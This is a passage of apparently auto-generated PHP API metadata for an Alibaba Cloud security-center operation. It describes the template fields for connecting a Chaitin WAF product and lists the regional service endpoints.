**displayName**: Field display name. - **editable**: Whether the field is editable. Takes the values **true** or **false**. **true** means editable, **false** means not editable. - **fieldType**: Type of the field value. Takes the values **text** or **password**. - **required**: Whether the field is required. Takes the values **true** or **false**. **true** means required, **false** means not required. - **fieldId**: Field key.', 'type' => 'string', 'example' => '{\\"vendors\\":[{\\"vendorType\\":100,\\"vendor\\":\\"CHAITIN\\",\\"displayName\\":\\"Chaitin\\",\\"products\\":[{\\"product\\":\\"webFirewall\\",\\"displayName\\":\\"WAF\\",\\"backendConfig\\":{\\"apiParams\\":{\\"SecretKey\\":{\\"field\\":\\"apiToken\\",\\"format\\":\\"text\\"},\\"SecretId\\":{\\"field\\":\\"endpoint\\",\\"format\\":\\"text\\"},\\"Vendor\\":{\\"field\\":\\"vendor\\",\\"format\\":\\"text\\"},\\"CtdrCloudUserId\\":{\\"field\\":\\"ctdrCloudUserId\\",\\"format\\":\\"text\\"},\\"ExtendInfo\\":{\\"format\\":\\"json\\",\\"fields\\":[\\"product\\",\\"remark\\"]}}},\\"description\\":\\"https://docs.waf-ce.chaitin.cn/%E6%9B%B4%E5%A4%9A%E6%8A%80%E6%9C%AF%E6%96%87%E6%A1%A3/OPENAPI\\",\\"fields\\":[{\\"displayName\\":\\"Endpoint\\",\\"fieldType\\":\\"text\\",\\"prompt\\":\\"Enter an endpoint that is in the IP address:Port number format.\\",\\"required\\":true,\\"fieldId\\":\\"endpoint\\"},{\\"displayName\\":\\"API Token\\",\\"fieldType\\":\\"password\\",\\"required\\":true,\\"fieldId\\":\\"apiToken\\"},{\\"displayName\\":\\"‌Device Name‌ (The cloud_user_id field in the device connection logs will uniquely identify the device)\\",\\"fieldType\\":\\"text\\",\\"required\\":true,\\"fieldId\\":\\"ctdrCloudUserId\\"},{\\"displayName\\":\\"Remark\\",\\"fieldType\\":\\"text\\",\\"required\\":false,\\"fieldId\\":\\"remark\\"}]}]}]}', ], ], ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CD380235-A0B8-540D-A0D5-D6288446****\\",\\n \\"Data\\": \\"{\\\\\\\\\\\\\\"vendors\\\\\\\\\\\\\\":[{\\\\\\\\\\\\\\"vendorType\\\\\\\\\\\\\\":100,\\\\\\\\\\\\\\"vendor\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"CHAITIN\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"displayName\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Chaitin\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"products\\\\\\\\\\\\\\":[{\\\\\\\\\\\\\\"product\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"webFirewall\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"displayName\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"WAF\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"backendConfig\\\\\\\\\\\\\\":{\\\\\\\\\\\\\\"apiParams\\\\\\\\\\\\\\":{\\\\\\\\\\\\\\"SecretKey\\\\\\\\\\\\\\":{\\\\\\\\\\\\\\"field\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"apiToken\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"format\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"text\\\\\\\\\\\\\\"},\\\\\\\\\\\\\\"SecretId\\\\\\\\\\\\\\":{\\\\\\\\\\\\\\"field\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"endpoint\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"format\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"text\\\\\\\\\\\\\\"},\\\\\\\\\\\\\\"Vendor\\\\\\\\\\\\\\":{\\\\\\\\\\\\\\"field\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"vendor\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"format\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"text\\\\\\\\\\\\\\"},\\\\\\\\\\\\\\"CtdrCloudUserId\\\\\\\\\\\\\\":{\\\\\\\\\\\\\\"field\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"ctdrCloudUserId\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"format\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"text\\\\\\\\\\\\\\"},\\\\\\\\\\\\\\"ExtendInfo\\\\\\\\\\\\\\":{\\\\\\\\\\\\\\"format\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"json\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"fields\\\\\\\\\\\\\\":[\\\\\\\\\\\\\\"product\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"remark\\\\\\\\\\\\\\"]}}},\\\\\\\\\\\\\\"description\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"https://docs.waf-ce.chaitin.cn/%E6%9B%B4%E5%A4%9A%E6%8A%80%E6%9C%AF%E6%96%87%E6%A1%A3/OPENAPI\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"fields\\\\\\\\\\\\\\":[{\\\\\\\\\\\\\\"displayName\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Endpoint\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"fieldType\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"text\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"prompt\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Enter an endpoint that is in the IP address:Port number format.\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"required\\\\\\\\\\\\\\":true,\\\\\\\\\\\\\\"fieldId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"endpoint\\\\\\\\\\\\\\"},{\\\\\\\\\\\\\\"displayName\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"API Token\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"fieldType\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"password\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"required\\\\\\\\\\\\\\":true,\\\\\\\\\\\\\\"fieldId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"apiToken\\\\\\\\\\\\\\"},{\\\\\\\\\\\\\\"displayName\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"‌Device Name‌ (The cloud_user_id field in the device connection logs will uniquely identify the device)\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"fieldType\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"text\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"required\\\\\\\\\\\\\\":true,\\\\\\\\\\\\\\"fieldId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"ctdrCloudUserId\\\\\\\\\\\\\\"},{\\\\\\\\\\\\\\"displayName\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Remark\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"fieldType\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"text\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"required\\\\\\\\\\\\\\":false,\\\\\\\\\\\\\\"fieldId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"remark\\\\\\\\\\\\\\"}]}]}]}\\"\\n}","type":"json"}]', 'title' => 'Query Agentic SOC Supported Cloud Vendor Product Access Template Configuration', 'translator' => 'machine', ], ], 'endpoints' => [ [ 'regionId' => 'cn-beijing', 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', ], [ 'regionId' => 'cn-zhangjiakou', 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', ], [ 'regionId' => 'cn-huhehaote', 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', ], [ 'regionId' => 'cn-wulanchabu', 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', ], [ 'regionId' => 'cn-hangzhou', 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', ], [ 'regionId' => 'cn-shanghai', 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', ], [ 'regionId' => 'cn-nanjing', 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', ], [ 'regionId' => 'cn-fuzhou', 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', ], [ 'regionId' => 'cn-shenzhen', 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', ], [ 'regionId' => 'cn-heyuan', 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', ], [ 'regionId' => 'cn-guangzhou', 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', ], [ 'regionId' => 'cn-chengdu', 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', ], [ 'regionId' => 'cn-hongkong', 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', ], [ 'regionId' => 'ap-northeast-1', 'endpoint' => 'tds.ap-southeast-1.aliyuncs.com', ], [ 'regionId' => 'ap-northeast-2', 'endpoint' => 'tds.ap-southeast-1.aliyuncs.com', ], [ 'regionId' => 'ap-southeast-1', 'endpoint' => 'tds.ap-southeast-1.aliyuncs.com', ], [ 'regionId' => 'ap-southeast-2', 'endpoint' => 'tds.ap-southeast-1.aliyuncs.com', ], [ 'regionId' => 'ap-southeast-3', 'endpoint' => 'tds.ap-southeast-1.aliyuncs.com ', ], [ 'regionId' => 'ap-southeast-5', 'endpoint' => 'tds.ap-southeast-1.aliyuncs.com ', ], [ 'regionId' => 'ap-southeast-6', 'endpoint' => 'tds.ap-southeast-1.aliyuncs.com', ], [ 'regionId' => 'us-east-1', 'endpoint' => 'tds.ap-southeast-1.aliyuncs.com', ], [ 'regionId' => 'us-west-1', 'endpoint' => 'tds.ap-southeast-1.aliyuncs.com', ], [ 'regionId' => 'eu-west-1', 'endpoint' => 'tds.ap-southeast-1.aliyuncs.com', ], [ 'regionId' => 'eu-central-1', 'endpoint' => 'tds.ap-southeast-1.aliyuncs.com', ], [ 'regionId' => 'me-east-1', 'endpoint' => 'tds.ap-southeast-1.aliyuncs.com', ], [ 'regionId' => 'cn-hangzhou-finance', 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', ], [ 'regionId' => 'cn-shanghai-finance-1', 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', ], [ 'regionId' => 'cn-shenzhen-finance-1', 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', ], [ 'regionId' => 'ap-southeast-7', 'endpoint' => 'tds.ap-southeast-1.aliyuncs.com', ], [ 'regionId' => 'cn-beijing-finance-1', 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', ], [ 'regionId' => 'cn-heyuan-acdr-1', 'endpoint' => 'tds.cn-shanghai.aliyuncs.com', ], ], ];